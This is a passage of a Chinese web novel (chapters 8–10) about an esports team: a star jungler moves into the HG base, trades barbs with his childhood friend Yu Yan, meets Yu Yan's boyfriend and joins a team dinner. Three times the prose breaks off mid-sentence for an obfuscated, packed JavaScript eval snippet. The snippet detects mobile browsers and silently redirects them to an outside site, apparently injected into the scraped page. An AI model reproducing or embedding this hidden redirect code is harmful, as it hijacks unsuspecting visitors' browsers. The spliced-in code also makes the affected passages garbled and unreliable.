几个人中左星水先回过神,向前几步接过一个箱子,与廖望延击了个拳:“没想到真让小乖猜中了。” 廖望延笑了一声,隔着左星水看他身后的于琰,发现他还没缓过神,只好走到他面前对着他的眼睛打了个响指:“需不需要立个筷子给你举行个招魂仪式?” 于琰深深地看了他一眼,弯腰捡起掉落在地上的泡面叉子,又当着他的面将叉子反方向折断。 结束这个威胁性十足的动作后,于琰对他展露出了一个小学生参加文艺表演的标准假笑,咬牙切齿地说:“我们HG何德何能啊,能得Mesh老师青睐。” 廖望延偏要让他气上加气,伸手从裤兜里掏了掏,掏出一枚一元硬币,将它放进于琰的衣兜里。 退后两步欣赏了一下于琰的表情,点了点头:“Mesh老师开过光的一元硬币,拿着它你就能rank十连胜,作为感谢你招待的谢礼。” 于琰掏出硬币,一个箭步向前掐住廖望延的两腮,拿着硬币的手就要往他嘴里塞。 见得出于琰是真用了力的,廖望延只好紧闭牙关,一只手掌抵住于琰的脸把他往外推,另一只手捏住他想往自己嘴里送的手指头。 待推开于琰后,廖望延“呸呸”两声,扭头看自己未来的经理:“Peter哥,贵队的欢迎方式还真是让人出乎意料啊。” 没等经理回话,一旁还在癫狂的邵乖先回过神,看着廖望延面露不解:“Peter哥是哪位?” 廖望延被他问的一愣,伸手指着正不好意思准备溜之大吉的经理:“他啊。” 于琰指间夹着廖望延给的那枚硬币,刚准备往基地的存钱罐走,闻言停下脚步扭头震惊地看着自家经理:“柱子,你什么时候给自己起了个这么洋气的英文名?你是准备改行去理发店当设计总监吗?以后我去剪头提你这个英文名能打折吗?” 廖望延感觉眼睛跳了两下:“敢问,柱子又是哪位?” 于琰撅着嘴示意他:“就你刚才指的这位Peter先生啊,中文名刘国柱,微信名182清纯男大,实际上是175cm的32岁中年大龄未婚男子。” “……” “于琰我警告你不要太过分了!我虚岁才32!”经理本来还面露尴尬,听见此话瞬间心里升腾起熊熊烈火。 “管他周的虚的,都不是你给自己起了个土得掉渣的英文名的重点!”于琰边抛接硬币边调侃他。 一直暗中偷窥未作声的Nap阴戳戳地开口:“怪不得你钟爱皮裤豆豆鞋,原来志不在电竞。” 刘国柱立刻反驳:“放屁,老子要为电竞行业奉献一生!明明是你们一点都不懂潮流穿搭!” 廖望延突然想起签合同那天,那条黑得发亮的皮裤和那双棕色麂皮豆豆鞋。 这潮流确实不太好懂。 看着已经顾不上迎接自己只顾着吵架的几位他暗暗心想:看来HG和NWG在这点上没什么区别,经理都一样没地位。 远在十几公里外的老梁突然打了个喷嚏,揉揉鼻子继续哄要哭了的几位队员。 很有活力的几位就凸显了某个默不作声的人很突兀。 廖望延眼睛瞥过去,心里思忖了一下走到钟络身边,有意别开眼神没看他手机上聊天界面,对他客套道:“听于琰说你家里人来T市旅游了,难为你还要回来一趟迎接我。” 钟络摇了摇头:“这话说的就见外了延哥。” 说罢又顿了顿,打量了一下廖望延目无表情的脸,轻声询问:“延哥消息瞒得挺死啊,是早就谈好要来了吗?” 廖望延淡然开口:“也不是,就这几天定的。你们老板给的够多,我也刚好想再挑战一下自己。” “挑战?倒也没什么错,从冠军队转来世界赛都进不去的队,确实够挑战。”钟络轻笑一声低下了头。 “说挑战证明有心里有胜算,但延哥你给我的挑战可让我没多大胜算。” 钟络此话一出,廖望延不禁笑了笑:“有压力才有动力,我等着你把我按在替补席。” 二人皆将话题止于此,没再多聊。 明明是迎新的好日子,却有一股莫名的火药气卷在二人并肩而立的缝隙间。 十分钟后,于琰和刘国柱吵累了准备歇战,一转头就瞧见了无言的两人,终于想起今天的头等要事。 将六个箱子摆成一个长条,于琰自己从后面推着,又招呼着行李箱的主人从前面搭着手,准备先将行李放回新卧室。 推着行李箱路过钟络的时候,于琰微微抬手扯了一下钟络的衣袖,凑到他耳边小声说:“我先把阿延的行李放进去,一会去你房间找你,好几天没和你好好说过话了。” 钟络对他笑着点点头说好。 听见二人的对话,廖望延背对他们微皱了下眉。 等把行李箱搬上楼梯推进房间,累得于琰瘫在廖望延床上抱怨:“我这哪是提行李箱啊,这不妥妥的负重登高吗。” 廖望延没搭理他的牢骚,环视了一圈未来一年自己的住处。 HG都是一人一间的单人宿舍,大约有25平米左右。 房间整体粉刷成了米白色,家具颜色皆是纯白,桌子上摆了一支透明玻璃花瓶,里面是吸饱水分变得圆嘟嘟的蓝色绣球。 床上四件套是适合秋冬的深棕色和黑色拼接,于琰趴在上面露出一截窄腰,被罩的深色将他暖白的皮肤凸显得又白了一度。 看廖望延用指尖轻触绣球花瓣,他支起脑袋:“国柱给你准备的,我估计你就算跟他说想要金子做的绣球,他也能眼睛不眨的给你找来。” 廖望延看着他的姿势叹了口气,上前拍了拍他细瘦匀称的侧腰,看他顺从地平躺下,伸出双手将他靠上的T恤往下拽了拽。 于琰正享受着他的伺候,却不想他撤回手之前揪住自己腰上的肉顺时针拧了半圈,厉声说道:“当我这是你的狗窝呢来回乱滚,赶紧起来。” 于琰捂着侧腰耍赖:“爸爸躺你的床没一百次也有八十次了,现在装什么洁癖啊。” 廖望延眼看着他从床头滚到床尾,又从左侧滚到右侧,冷冷开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445218|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“洁癖不至于,有男朋友的倒确实得谨慎点,免得日后被当成第三者乱棍打死。” 于琰听见男朋友三个字一个猛子坐了起来:“哦对,我说要去找钟络的,你不说我都忘了。” 撑着床沿起了身,临关门前还回头靠着门框招了句欠:“别担心啊Mesh老师,你就算有朝一日当了别人的小三我也不嫌弃你,respect!” 廖望延看着被合上的卧室门沉默了良久,直到眼睛微微酸涩才闭上眼抬手揉了揉,对着空荡的房间沉沉开口—— “Mesh老师怕你不给机会…” 从廖望延房间耍宝完的于琰一路快走到钟络门前,轻轻用指骨敲了三下黑色的门板,听见房门内的人说了声“请进”才推开门进去。 合上门后于琰一个助跑扑向背对着自己整理桌子的钟络,搂着他的脖子将双腿缠在他腰上,用脑袋蹭了蹭他的耳朵,愉悦地问:“这几天玩的怎么样?看你都没回基地,应该和爸妈相处的还不错吧。” 钟络臂弯虚拢着他的腿窝,将他往上颠了颠:“还好,能见面就是大进步了,还得一步步慢慢来。” 于琰顺势将下巴搭在钟络的头顶,闻着他头发上飘出的酒店洗发水香味宽慰他:“小钟的一小步,幸福的一大步!没准下次就是他们来咱基地参观,再下次就是咱俩成功出柜他们来看我了。” 钟络原本带着笑的嘴角在听见于琰后半句话时悄然落下,拇指摩挲着于琰裤子上的纹理,沉默了几秒后装作调笑地说:“那就借你吉言了。” 他边说边慢慢后退着,走到床边时膝盖微弯将于琰放在床上,自己也顺势从于琰身边坐下,伸手将二人的指节缠绕。 低头看着二人十指紧扣的手,感受着于琰冬日小火炉一样的手心温度,他问了个稍显突兀的问题—— “小琰,你如果遇见了不开心的事,一般会怎么处理?” 于琰几乎没怎么思考地回:“从源头解决问题,远离矛盾点。” 钟络听见他的话瞬间收紧了二人握着的双手,状作打趣地问:“这么潇洒?” 于琰挑起眉上下打量他,用探究的眼神逡巡了几秒后张口:“不对劲,你有事瞒着我?” 钟络学着他也挑挑眉:“这都被你发现了?那我在冰箱给你藏的奶油蛋糕看来也被发现了?” 成功被转移话题,于琰眼睛唰的一下亮了起来:“你怎么不早说,万一一会邵乖偷吃了怎么办!” 钟络捏了捏他的手指,笑着开口:“没见过你这么护食的,赶紧去吧,晚了没准真被邵乖偷走了。” 像个小炮弹一样的于琰冲出房间,连房门都来不及关。 钟络就坐在床上目送着他离开,捻了捻空下来的手指,轻轻叹了口气收回视线看着窗外发呆。 门外本该冲向餐厅冰箱的于琰却在出了门后慢下步子,靠在钟络卧室外的墙边看着自己的左手微微蹙眉。 不对劲。 于琰大脑开始飞速运转。 钟络有事瞒他,这事还可能和自己有关。 8. Chapter8 廖望延简单收拾了一下行李走出房间,还没下楼就闻见了飘进自己鼻腔的饭香,其中还夹杂着大厅里于琰的高分贝喊话—— “邵乖!给我吐出来!” 廖望延暗想:这个基地里怎么永远都没有安静的时候。 等走下楼梯看见客厅里的场景,廖望延向后一倚,靠在扶手上安心看热闹。 只见邵乖被按在本该放着午饭的桌子上动不了身,两条腿扑棱棱乱踹,他的双手被于琰压在膝盖下无法动弹。 而作为上位者的于琰则跨坐在邵乖腰上,双手捏住邵乖的脸用力往外扯,将邵乖本就有些圆润的脸生生扯成椭圆形。 被扯住脸后拉长的嘴唇无法吐出清晰的话,邵乖只好囫囵着说:“以夸发开唔!” 于琰松开手改为掐着邵乖的脖子,一边掐一边闹:“把小钟给我买的奶油蛋糕吐出来我就饶你狗命!” 两个人在饭桌上打得不可开交,几步外站着剩下的队友。 Nap偷偷摸摸靠近桌子边缘,抱着两盘菜对于琰小声哔哔:“他不仅今天偷吃了你的小蛋糕,昨天还吃了你放在电脑旁边的妙脆角,还有前天扔在沙发上的半袋薯片,大前天冰箱里的两盒黄桃味酸奶。” 于琰听闻后看着邵乖咬牙切齿:“我说怎么买的零食总自己长腿跑了,原来是你这个小偷!” 邵乖则是震惊地看着Nap:“你怎么知道的!我吃之前都四处看了,没人啊!” Nap鄙夷地看着邵乖:“你不止脑子不好,眼神也不好。” 他的话成功激怒了上单硬汉铁血战士邵乖。 邵乖拼命扑腾,成功从于琰的膝盖下拯救出一只手,一把抓住了Nap的领子成功将他也拽入战场。 Nap只好在慌乱间将手里的盘子递给其他队友,与于琰结盟一起包夹邵乖。 廖望延在心里拍手:中辅大战上单,2v1的局面从游戏搬到了现实。 三人在饭桌上乱成一团,一旁站着近距离观战的左星水、钟络、教练老姚和经理刘国柱,他们每人都抱着两三个菜无奈的等候。 刘国柱嘴里还咬着自己的蜡笔小新饭碗,因为咬的时间太长太用力,廖望延甚至隔了好几步的距离都看见了碗沿上缓缓淌下的晶莹口水。 他余光瞥见后方看热闹的廖望延,对身边的老姚想说些什么,却碍于咬着碗无法开口,只好含糊着提示老姚:“呜呜!呜呜呜呜呜呜!呜呜呜呜呜呜!” 老姚顺着刘国柱的眼神往后一瞟,又将头扭回来,看着刘国柱的表情眯起眼睛思忖了几秒问:“你是想说:老姚,廖望延下来了,让他们别打了?” 刘国柱猛点了三下头示意,饭桌上打架的三个人都因为这出奇的理解能力而被按下了暂停键。 “姚哥,你什么时候学了国柱语?” “姚哥,说实话吧,你是不是暗恋柱子?” “姚哥,有这能力还当什么电竞教练啊,给国家打工去当外星人翻译多好,能挣大钱。” 桌上的三个人同时开口。 老姚撩了一下刘海自信道:“别爱我,没结果。” 说完就上前给了缠绕在一起的三位一人一个后脑勺重击,看着几人被打得直捂脑袋故作严厉地开口:“都滚下来,还吃不吃饭了。” 廖望延看着终于被制止的闹剧迈步上前,伸手拯救了快抱不住盘子的经理,轻轻将瓷盘搁在桌上,扭头和老姚握了个手:“姚哥,上午来的时候没看见你,以后还得请你多多指教。” 老姚“嘿嘿”一笑,摸了摸稀疏的发顶不好意思地解释:“昨天半夜听老刘说你要来,兴奋得我半宿没睡着觉,一不小心就睡过头了,没来得及接你。” 老姚之前也是职业选手,不过不是打野,而是中单。在联赛里遨游了七八年没能拿到太好的成绩,最好的也只是世界赛8强。 电竞选手的花期很短,由于年龄的增加选手们的反应力也开始逐渐弱化,老姚折戟在某一年的夏季季后赛,没能挤进四个种子队伍,遗憾宣布退役。 退役后的老姚开过一年直播,除了自己玩玩游戏接接商务外,直播间最热门的节目就是解说各个赛区的大小赛事。 别看老姚没拿过什么冠军,但他的大局观很强,解说各项比赛时都能基于当下的局势给出之后比赛走势的预测,而这些预测十有八九都会灵验。偶尔有不常发生的极限翻盘也被他分析出来过,导致那年只要有比赛,二路解说直播间里总是老姚的水友最多。 老姚对各个赛区的各个选手都有过仔细研究,会通过选手的日常rank和比赛表现整理出这位选手的游戏习惯,这是以前NWG的教练老王和廖望延说的。 廖望延还记得当初在基地里,大家围在一起看HG的比赛,老王说起这些时语气中对老姚的认可。 当时老王边看着屏幕边和他们说:“HG是个优缺点都比较明显的队伍。优点在于个人英雄池都比较深,不用怕针对性bp而导致的窘况,而且他们在比赛内的抓机会能力很强,能在稳健运营或者混乱团战的情况中发现突破口,不会因为犹豫而丧失掌握比赛的机会。” “但他们的缺点也很致命,队伍里大部分人都比较有个性,都挺喜欢逆着版本来。而且抓机会这个事是个双刃剑,有时候他们太莽了,一打起来就都想着操作不会给自己留退路,其实简单来说就是太容易上头,那这种情况就反而容易葬送自己的大好局势,所以HG简单来说就是个神经刀队伍,发挥的好坏全看老天给不给面子。” 老王拿起保温杯润了润嗓又继续讲:“我和他们队的教练很早之前就认识,是个厉害人,在LPL这么多教练里都能排得上号的,感觉他遇上这几个队员应该是痛并快乐着的吧哈哈。” “既能深挖队员的潜力,又能开发多种不同阵容,可就是得时时刻刻盯着他们。赛场上不让教练在场,我估计老姚每次坐在后台休息间里看比赛都得提心吊胆。” 说话的时候屏幕里正放着HG打团的地方,老王拧了拧眉看着电子屏:“还有一个明显缺点,他们这个打野也是队伍突破口。他个人能力只能算是中游,有点拉队友后腿,如果换个更强势更会指挥的打野带着这个队伍,感觉会提升一个档次。他们中单Shark就挺强的,Mesh我记得你和他是很多年的朋友对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445219|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 当时的廖望延眼睛盯着屏幕散漫地回:“嗯,发小。” 老王点点头:“你俩挺适合在一个队伍,都强势,但又不是纯莽夫,要不是咱队里有FLY,我高低得挖一挖HG的墙角把Shark挖过来。” 一旁嗑瓜子正起劲的FLY听见这话立刻吐出嘴里的瓜子皮不满道:“什么意思王哥,你说我不如于琰是吧!” 老王斜眼觑了FLY一下:“前几天训练赛还被Shark对位单杀了,我说你不如他你有什么不服的。” FLY拍桌子:“那是意外!是我不小心的!而且当时我没回家更新装备!” 老王撇嘴:“是是是,为了一波线送出一个单杀,我们FLY真是惜兵如金啊。” 廖望延听着二人争辩眼睛一眨不眨盯着屏幕,看着HG打野失误被对方2换5从而输了大龙团,对面TOP拿下大龙后长驱直入拆掉外塔、高地、门牙塔。 等于琰复活的时候,自家红色水晶只剩下五分之一的血量,发条QRW一套连招带走对面AD,却杀不了上单奥恩和打野皇子,只能眼睁睁看着TOP爆掉己方的水晶。 水晶爆掉的一瞬间,于琰抬头看了看摄像头。 廖望延就隔着屏幕和赛场上面无表情的他对视,看着TOP的队员走到HG队员面前一个个握手,看着于琰默默收起自己的键鼠下台,目光直直不知心里在想什么。 廖望延边想着这些边落座,拿起筷子夹了一口清炒空心菜,边嚼边看向其他盘子。 红烧肉、水煮虾、清炒空心菜、干锅土豆片、干煸豆角、鱼香肉丝、糖醋里脊、酸辣汤,各个色泽鲜艳卖相俱佳。 于琰坐在他身边往他碗里夹了一块糖醋里脊,也往自己嘴里塞了一块,边吃边念叨:“我们HG的阿姨可是有中级厨师证的,是不是比你们NWG的饭好吃。” 廖望延没否认:“NWG的做饭大哥喜欢开发新菜单,你们吃过草莓炒西红柿吗?如果想吃的话我让老梁送一份给你们尝尝。” 众人皆猛烈摇头。 廖望延又说:“葡萄菠萝炖牛肉呢?这个比草莓炒西红柿好接受一点。” 刘国柱边吃边摇头:“此等佳肴就让梁哥好好品尝吧,我们无福消受。对了Mesh,下午没什么事,他们rank的时候你就把东西收拾收拾,晚上我定了烤肉,咱们到时候给你搞个接风宴。” 廖望延给自己盛了碗米饭点点头,钟络放下筷子看着刘国柱:“刘哥,我晚上可能不行,我爸妈和妹妹明天就走了,今天得去陪他们,所以想和你再请一天假。” 刘国柱夹菜的手顿了一下,看着他点点头:“哦哦,那是不方便,你去吧,顺便替我们给你爸妈问声好。” 钟络又偏头看了一眼廖望延,状似不好意思地开口:“不好意思啊延哥,下次有机会我再单独请你一次。” 廖望延喝了口汤,被热汤烫到嘴唇泛起轻微痛感,吸溜了两下才回道:“没事,你家里人比较重要,以后咱们吃饭的时候还多着,不在乎这一顿半顿。” 于琰看了钟络一眼,没说什么又重新低下了头。 9. Chapter9 HG的做饭阿姨确实专业,廖望延已经很久没吃到这种全都是正常菜色的饭了。 也不怪NWG的做饭大哥,其实他的菜色大部分也都比较正常,但正常菜中间总会夹杂着黑暗料理,就让正常的也显得不那么正常了,能非常有效的遏制食欲。 之前大哥看着众人不买创新料理的账,还会主动拿出勺子端起新品雨露均沾,目光灼灼地看着众人,让大家给个评价。 每到这个时候,NWG的众人就会想出千奇百怪的离席理由,比如肚子疼,比如接电话,比如—— 找不出理由硬逼着自己吃。 廖望延有幸吃过一次芒果猕猴桃拌豆腐,上面还撒着翠绿的小葱。 凉拌菜比炒菜和炖菜更容易咽下去的自信认知让廖望延吃尽了苦头,自那之后他都是借口直播没结束躲过做饭大哥的逼迫环节。 吃了十成饱的廖望延走回卧室,一头扎向被于琰滚得凌乱的床上,发呆的时候眼神虚晃没有定点,就这么出神了十分钟。 等双眼聚焦,他发现自己眼前是一根上午于琰闹腾时掉下来的黑发。 伸手捻起那根头发,将它绕在自己的食指上,黑发堪堪绕满两圈。 将头发轻轻放在床头柜上,廖望延脱去鞋袜侧卧着看它,正午的阳光直射进屋里,他被照得眼酸,只能眯着眼看。 倦意上头,他做了个浅梦。 梦见自己进了HG后每天除了rank就是训练赛,紧接着是一场场紧张又刺激的积分赛和淘汰赛,从春季赛开始,到世界赛结束,他都一场场拿下,直至最后捧起冠军奖杯。 梦里他看着站在奖台上满脸笑容举起奖杯的于琰一眼不眨,积压的冲动让一句未经过思考的话脱口而出—— “小火。” “和我谈吧。” 一场美梦只需要一个小时。 还是那个侧卧的姿势,廖望延定睛看着床头柜上那根头发,忽然一挥手将它扫到地上。 手搭在眼上避着阳光眯了一会,他撑着床坐起来,犹豫了几秒又弯腰将那根头发捡起来塞进抽屉。 将窗户开了个小缝,用温和的风醒了醒神,他开始收拾行李。 将衣服由浅至深由薄到厚一件件挂到衣柜里,正蹲着叠裤子的时候,门外响起一阵敲门声。 他猜到了。 于琰没等门内的回话就推开门,咬着山楂味的冰棍看无处下脚的地面。 他规划了半天路线,最后选择脱下鞋一个助跑将自己甩上床。 厚床垫受到外力下压将重物轻轻弹起,他拱了拱身子换了个侧躺的姿势,手臂支着脑袋看廖望延。 被注视的人还在继续着叠裤子的动作,没回头却像是后脑勺长了第三只眼,懒散地威胁:“你狗嘴里的东西要是敢把我的床弄脏,我就让你看不见明天的太阳。” 于琰拧过头不看他,冷哼一声继续吃冰棍。 刺激的冰凉感让牙根发麻,他囫囵着将剩下的两口吞下肚,直起身把手里的木棍当成篮球对准垃圾桶瞄准,心里默数三个数,一个抛投,满分入框。 于琰盯着垃圾桶,盘腿在床上沉默了一会,装作漫不经心地问:“为什么不告诉我你要来HG?” 廖望延叠裤子的手顿了顿,眨眼间又动起来,边叠边转移话题:“你们老板下血本买我,为什么不来?” “就这么简单?” “不然呢?你以为是什么?看你混得太惨连拿得出手的成绩都没有所以自降身价来帮你?” “你这人说话真恶毒!” “你刚知道?” “……不对啊,我问的不是这个啊,我问的是你为什么不告诉我!差点让你个狗东西蒙混过关了!” 于琰差一点就顺着廖望延的思路往下聊了,兴许是那根山楂冰棍刺激了生锈的脑袋,于琰少有的脑子灵光了一次。 “这才叫惊喜,不是吗。”廖望延将一叠裤子整齐推进衣柜,撑着地站起来跺了跺脚。 蹲太久了,好麻。 他走到桌前拉开椅子坐下:“你们经理早在我夺冠之前就联系过我,不过当时我忙着最后几场比赛没怎么和他细聊。” 停顿了两秒又继续说:“夺冠之后忽然觉得在NWG能做的都做了,刚好你们老板给的价钱和NWG也差不多,我想着换个地方未尝不是件好事,本来昨天是想告诉你的,但谁让你挂我电话呢。” “老子就挂过你这一次电话!”于琰在床上用力扑腾以示不满。 将本就不甚平整的床硬是折腾成了狗窝,他才满意的停下来,揉了揉起静电的头发不解问道:“原班人马冠军队伍争取两连冠对你来说没吸引力?不管怎么想,续约NWG都比转来HG划算吧?” “首先,NWG的上单也转会了,不然原班人马二连冠当然非常有吸引力。其次,你对你们队伍的认知可能不够清晰,你们不是不强,是没有更强的引导你们变强。”廖望延对他解释。 “所以你只是想说你最强是吧?” “Bingo~” 于琰翻了个惊天白眼。 廖望延就这么坦然地看着他:“至少现在,LPL的打野里没人打得过我。” 于琰当然知道。 他连续换了好几个姿势,最终决定将自己的头埋进被子里,闷声开口:“我没别的意思,你能来我很开心,谁会不希望自己成绩好啊。” 说完这句他忽然陷入沉默,廖望延就这么静静等着。 “我就是…就是怕钟络他会有很大压力,毕竟他和你根本没有可比性,我怕他心态调整不好。” 廖望延又猜到了。 能让于琰这么纠结,这么不好开口的事,绝对不会是有关他自己的。 “我在不知道你们两个的关系之前就想问你了,你就没觉得钟络的比赛心态和水准有问题吗?” 大约是被子里太闷,于琰还是决定将脑袋露出来,深吸了两口新鲜空气解释:“你以为我傻啊?我当然知道啊。但钟络真的很刻苦,这话我没带一点个人情绪,他永远是起得最早睡得最晚rank最多的那个。训练赛其实他表现并不差,只是一到赛场上就容易失误,我不是没和他聊过,但是这种问题光聊没用的,还得他自己克服。” “今年年初他请假半个月,回来以后就这样了,我问他他也总是含糊其辞,所以现在的比赛有一部分其实是我在指挥。说实话我不太喜欢做指挥,我更希望能心无旁骛的打穿中路,指挥这种需要脑容量大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445220|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活一点都不适合我。” “脑容量大的在这。”廖望延伸手指了指自己的头。 “你别打岔,老子说正事呢。”于琰瞪了他一眼。 “其实我发现自己喜欢钟络,也是因为他这种对游戏认真的态度。” “有一次半夜,房间的空调突然不制冷,我就打算去拿瓶冰水,结果发现训练室还亮着灯,我偷偷把门推开一条缝,发现是他还在里面打排位。当时应该是五点钟左右,天都蒙蒙亮了,他电脑旁边放了好几个空咖啡的塑料杯,我没打扰他合上门就走了,躺在床上的时候我就想,这人认真的时候还挺帅的。” “嗤,我还总通宵rank呢,NWG除了FLY都通宵过,通完之后脸色蜡黄黑眼圈比眼睛还大,怎么到你这就成了认真的样子很迷人了?要照你这么讲,如果当初没来HG而是被NWG选中了,你还有可能爱上我了呢。”廖望延一点没给于琰留面子嘲讽道。 于琰随手拿起床头柜上的水瓶朝他扔,因为没怎么使力所以廖望延轻轻松松就抓住了。 “什么意思?砸我我也得说,你不就是这个意思吗?突然发现他认真的样子有点小魅力,然后就觉得这应该是喜欢,这是哪来的道理?” 于琰恼羞成怒地朝他喊:“你个没谈过恋爱的懂个屁啊!” “我没谈过还没……”廖望延说到一半突然闭嘴。 “没什么?说啊!” “没吃过猪肉还没见过猪跑啊?我没谈过也知道好感和喜欢的区别。还有,你少朝我喊,要是声高就有理的话村口大喇叭早能出书开讲座了。” 于琰从小就说不过廖望延,小时候因为和廖望延争游戏机被说哭,长大了还要因为谈恋爱被他教育。 “反正你少教育我,我有自己的想法,我现在是在和你说钟络的问题,少扯我谈恋爱。”于琰撅着屁股不看他,把脑袋埋进廖望延的枕头闷声说。 “这算什么问题,谁牛逼谁上啊。你以为你们老板是做慈善呢?花八位数签我过来玩过家家?既然其他位置都不买偏偏买了我,那就证明你们这个现有打野位就是不行。”廖望延打着哈欠说。 于琰哼哼唧唧说不出个所以然,又不想在廖望延面前落下风,只好故作高冷不说话,结果冷着冷着从人家床上睡着了。 椅子上的廖望延还等着新一轮的battle,结果battle没等来,倒是等来了一阵平稳的呼吸声。 他直起身子走到床边,弯腰看着于琰的脸。 于琰趴着将右脸贴在枕头上沉沉睡着。他的皮肤虽然白但并不是毫无血色,而是红润健康一看就吃得好睡得香的颜色。 眉毛浓密且乌黑,此时闭上的双眼在睁开的时候像个大杏仁,眸子又黑又亮,眼白处看不到一点红血丝,睫毛长而密,看着人笑的时候眼睛会微微眯起带动眼角扯出小小的皱褶。 鼻子高挺,鼻头圆润鼻翼不宽,从侧面看鼻骨是个极完美的弧度。嘴唇微微有些厚度整体却并不大,唇色红嫩,笑的时候咧开嘴角就能露出六颗牙齿。 就这么微微弯腰看了半晌,过了好一会才动手拉过被子盖在他身上,廖望延起身前用食指轻轻刮了下他的鼻子,小声嘟囔—— “没心没肺的小狗。” 10. Chapter10 于琰一直睡到晚上。 被门口的声音吵醒他缓缓睁开眼,心想这摆设怎么和自己房间不一样。 十秒钟后大脑成功开机,才想起原来自己是在廖望延房间里。 他揉揉眼睛坐起身伸着脖子看门口,房间没开灯,屋外的灯光被廖望延挡了大半,只上方有少许浅黄色的光透进屋内。 竖起耳朵才能听见廖望延和刘国柱细微的对话声。 “你在屋里怎么不开灯啊?” “于琰睡觉呢。” “他呆着没事跑你房间睡觉干什么?” “小狗占新窝。” “那咱们什么时候出门?都六点了,邵乖在楼下喊半天饿了。” “马上,你下去让他们穿衣服吧,我把于琰叫起来。” “行,那你们两个尽快,我怕再不出门邵乖就要把我吃了。” 等廖望延合上门将光源尽数挡在屋外,转身准备叫于琰起床时,才发现他已经坐起来眼神迷离地看着自己了。 看着床上刚睡醒还没将灵魂和□□合二为一的于琰,他抬手打开顶灯,对着于琰勾了勾唇角:“一听见吃饭就醒了?” 于琰的眼睛被灯光照得泛起生理性眼泪,闭上眼用袖子擦了擦后开口:“那当然,民以食为天。” 廖望延将搭在椅背上的外套挂在臂弯,又从衣柜里拿出一件同款不同色的外套扔到床上。 “去洗把脸清醒一下,然后穿上衣服跟我下楼,没听见刚才经理说邵乖喊了半天饿吗。” “他天天喊饿,属饕餮的,晚吃一会死不了。”于琰打着哈欠下了床,赤脚就准备去卫生间。 廖望延叫住他,皱着眉将自己脚下的拖鞋踢过去,不耐烦地说:“又不穿鞋满地跑,以后再这样就别上我的床,嫌你脏。” 于琰撇撇嘴,勾住拖鞋将脚往里伸,踢踢踏踏地穿着比自己脚码大两号的拖鞋往卫生间进:“就你臭讲究。” 等二人穿戴整齐下了楼,其他人早已倚在门口有一搭没一搭的聊天。 看见二人同款的外套,邵乖翻了个白眼:“不是吧哥们,出门吃个饭还要穿情侣装啊?” 于琰走近抬腿踹了他一下:“放什么狗屁呢,这叫亲子装。” “好好好,就算你说这是母女装都行,咱们能不能出门了,再饿一会我就成干尸了,哥哥们行行好疼疼孩子吧。” “走走走,出发!” 一行七人以蝗虫冲进苞米地的姿态强势进军烤肉店。 商务车最后一排,于琰闻了闻衣服上的洗衣液味问廖望延:“你一款衣服干嘛买两件?” 此时廖望延正在微信上回复着FLY的狂轰乱炸,边打字边说:“亲子装啊,爸爸给儿子买衣服还需要什么理由。” “倒反天罡!” 廖望延没再嘴欠,手机里有个人形刷屏器不停地发小黄豆哭哭表情包,攻势之猛似乎想要透过屏幕用眼泪将他淹死。 【Y:没完了?】 【飞高高:没完了!咱俩没完!】 【Y:老梁用了一天的时间都没给你劝好?】 【飞高高:你走都不告诉我,我好不了了!】 【Y:你去卫生间照照镜子,看看自己一脸新婚妻子被渣男丈夫抛弃的死样,我要是和你说了,你还不得扒在我身上跟我一块来HG?】 【飞高高:买一送一!他们HG还占便宜了呢!】 【Y:再过两三个月,等春季赛你想看不见我都不行。】 【飞高高:那能一样吗!以前咱俩打别人,以后你帮着于琰打我!】 【飞高高:你就是负心汉!你有了新欢忘了旧爱!】 【Y:停,容我反驳一下。不管怎么说,旧爱也得是于琰吧?】 【飞高高:原来我才是小三上位的那个…】 【飞高高:活不下去了,一想到以后被你的寡妇抓崩我就想原地去世。】 【Y:说的有点保守了吧小飞,我非得用寡妇吗?其他随便什么也都能把你抓崩吧。】 【飞高高:38度的嘴说出零下38度的话。】 【飞高高:妈妈说的对,越帅的男人越是会伤人。】 廖望延看着屏幕笑出声,一旁的于琰闻声将脑袋凑过来,手指滑动间将聊天记录看了个七七八八。 他从廖望延手里抢过手机,按住最下方给FLY发语音条,做作地说:“FLY啊,曾经拥有总比从来没有好,想开点,以后我会好好替你照顾你延哥的,别担心哦~” 将手机重新塞回廖望延手里,看着FLY一个个带着红点的语音条发过来,于琰笑嘻嘻地提醒他:“最好别听,那小子绝对条条都在骂我。” 按下锁屏键,廖望延按了按眉心无奈道:“你就不能用你自己的手机发?非要脏了我的手机?” 于琰对他摇了摇食指:“nonono,用你的才能伤害到他,你就相当于远古龙buff,有真实伤害。” 二人对话间商务车停在烤肉店停车场,经理刘国柱招呼着众人进店。 